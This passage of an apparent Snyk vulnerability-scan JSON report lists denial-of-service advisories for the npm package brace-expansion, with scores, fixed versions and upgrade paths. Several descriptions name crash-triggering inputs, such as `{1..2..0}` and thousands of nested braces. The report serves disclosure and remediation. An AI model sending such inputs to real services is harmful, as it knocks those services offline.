passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
